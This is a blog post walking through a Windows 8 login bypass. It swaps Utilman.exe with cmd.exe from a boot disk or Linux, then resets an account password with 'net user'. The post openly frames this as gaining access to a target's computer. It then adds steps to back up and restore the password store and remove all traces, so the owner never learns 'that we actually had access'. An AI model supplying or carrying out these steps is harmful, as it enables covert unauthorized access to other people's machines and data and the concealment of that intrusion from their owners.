Bypassing Windows 8 password

In 2012 i had posted about Change Windows 7 password, Click Here to Read

So what about windows 8?

There is Easy of access menu on Login Screen, Why renaming sethc.exe with cmd.exe doesn’t work?

Because its metro style UI and microsoft has kept sethc.exe for normal UI and

it uses Utilman.exe for Easy of Access menu on Login Screen.

So Use same method used in Windows 7 and instead of sethc.exe use Utilman.exe

What Should I use for renaming this files?

Any other OS from which you should get access to drive containing Windows Directory

e.g.  1)  Alongside installed or Bootable Pendrive Linux Distribution

You need to mount drive where target Windows is installed (generally C:)

      2) Windows Installation Disk (CD/DVD/Pendrive)

In windows 8/7 installation disk go to repair and advance option and Command prompt

and simply press C: to jump to C drive and check using dir command if you are in correct drive

now you have access to target windows drive

1) Go to Windows/System32

cd Windows/System32

2) Create backup of Utilman.exe as Utilman_backup.exe

on Linux : mv Utilman.exe Utilman_backup.exe

on Windows: move Utilman.exe Utilman_backup.exe

3) Copy cmd.exe as Utilman.exe

on Linux : cp cmd.exe Utilman.exe

on Windows: copy cmd.exe Utilman.exe

Now you are half done.

but don’t you think that we should probably restore target’s previous password when we are done? we don’t want he/she to get know that we actually had access.

but, we don’t know password, encryption algorithm and all.

So?

Here’s trick

Let’s backup whole password storage folder and restore it when we are done, right?

so where’s it?

Windows/System32/config

Here’s steps

1) Backup config folder

Linux: cp -r config config_backup

Windows: xcopy config config_backup

IMPORTANT: Don’t move anything from config folder

windows checks config folder before boot and will not start if finds some problem in config folder

Now Restart Computer and boot into Windows

and login screen click on small Easy of Access menu located at lower left corner

Wow… command prompt is open.

now use following command

net user bhushan *

Command Prompt will ask for new password. Enter and you are done.

use username you want to change password instead of bhushan, its my username.

I don’t know users on this computer?

No worries.

go to C:/Users

cd C:\Users

dir

this lists down users of current OS

Public is always there, don’t consider it.

3) Now type exit to exit command prompt or something else you are comfortable with to close it

4) Enter your new Password and Enjoy

5) Don’t forget you have to restore Previous password

Boot same as 1st step and just copy file from config_backup to config

To remove all trace. restore Utilman.exe and delete its backup.

That’s it.

Thanks,

Bhushan